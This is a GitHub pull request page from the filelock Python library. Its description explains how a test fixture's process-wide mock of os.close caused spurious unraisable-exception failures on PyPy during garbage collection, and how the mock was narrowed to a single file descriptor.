This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The
close_failurefixture patchesfilelock._api.os.close, andfilelock._api.osis theosmodule, so mocking it swapsos.closefor the whole process. While a test holds the mock, anyos.closein the process raisesOSError, including the ones a garbage collector runs inside a finalizer.CPython hides this. Refcounting reclaims lock objects as soon as a test drops them, outside the window the mock covers. PyPy reclaims them whenever a cycle runs, so a collection can land inside that window.
BaseFileLock.__del__then force-releases a lock an earlier test left held, its close hits the mock, and theOSErrorescapes the finalizer as an unraisable exception. Pytest reports it against whichever test happens to be running, which is how thepypy3.11job on #654 failed insidetest_context_group_handles_deep_body_context, a test that touches none of this.The mock now raises for the descriptor the test captured through
on_acquiredand hands every other descriptor to the realos.close. The lock under test still fails to close, so theclose_error_policycases keep their meaning, and a collector running a finalizer mid-test stops tripping over an unrelated fd.This also drops
docs/changelog/coverage-path-remapping.bugfix.rst. #651 changed how CI maps coverage paths across tox environments, which no user of the library can observe, and the slug filename does not render through the:pr:role thatissue_formatapplies to every fragment.